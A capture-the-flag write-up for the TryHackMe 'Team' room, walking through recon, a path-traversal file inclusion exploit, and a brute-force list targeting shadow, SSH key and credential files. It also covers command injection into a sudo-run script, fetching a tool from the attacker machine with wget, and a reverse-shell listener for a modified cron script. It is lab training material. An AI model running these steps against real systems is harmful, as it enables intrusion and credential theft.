Team

Room Link: https://tryhackme.com/room/teamcw

Initial Scan

Kali

nmap -A $VICTIM

Scan all ports

No other ports found

Kali

nmap -sV -sT -O -p 1-65535 $VICTIM

TCP/80 - HTTP

gobuster didn't find anything and the home page was just the default ubuntu page. Couldn't find anything of interest.

Kali

gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

TCP/80 - HTTP

I wasn't finding anything so I decided to give the victim IP a hostname based off what I found on the source page.

Kali

echo "10.10.201.197 team.thm" >> /etc/hosts

Kali

gobuster dir -u http://team.thm -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

I couldn't enter the scripts folder so I decided to scan it, only one file came up. script.txt

Kali

gobuster dir -u http://team.thm/scripts -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,js

The script itself isn't useful but there's a message at the bottom that reveals there was an older version of the script with credentials.

I just tried .old instead of .txt and got it

TCP/21 - FTP

Credentials

Username: ftpuser
Password: T3@m$h@r3

Kali

ftp $VICTIM

I added dev.team.thm to /etc/hosts

LFI

Browser

http://dev.team.thm/script.php?page=/../../../../../etc/passwd

LFI bruteforce

script.txt

/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/stat
/proc/swaps
/proc/version
/proc/self/net/arp
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession

script.sh

while IFS="" read -r p || [ -n "$p" ]
do
  printf '%s\n' "$p"
  curl 'http://dev.team.thm/script.php?page='"$p"
done < paths.txt

Kali

chmod +x script.sh
./script > results.txt

Had to remove the # from each line

Initial Shell

Kali

chmod 600 id_rsa 
ssh -i id_rsa dale@$VICTIM

Lateral Movement

There is a script in gyles home directory that accepts two inputs, the first one doesn't matter but the other we can use to escalate to become the user gyles. Once done it will seem to have frozen but if we get a full TTY shell with python then it works.

Victim

sudo -u gyles /home/gyles/admin_checks
jeff
/bin/bash -i
python3 -c 'import pty;pty.spawn("/bin/bash")'

PSPY

Kali

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 
python2 -m SimpleHTTPServer 81

Victim

wget http://$KALI:81/pspy32 
chmod +x pspy32 
./pspy32 

We can see a script.sh being run under a folder called admin_stuff

Privilege Escalation

The script just calls two other scripts, one of them we can write to.

I added the last line to connect back to my machine.

Kali

nc -lvnp 1337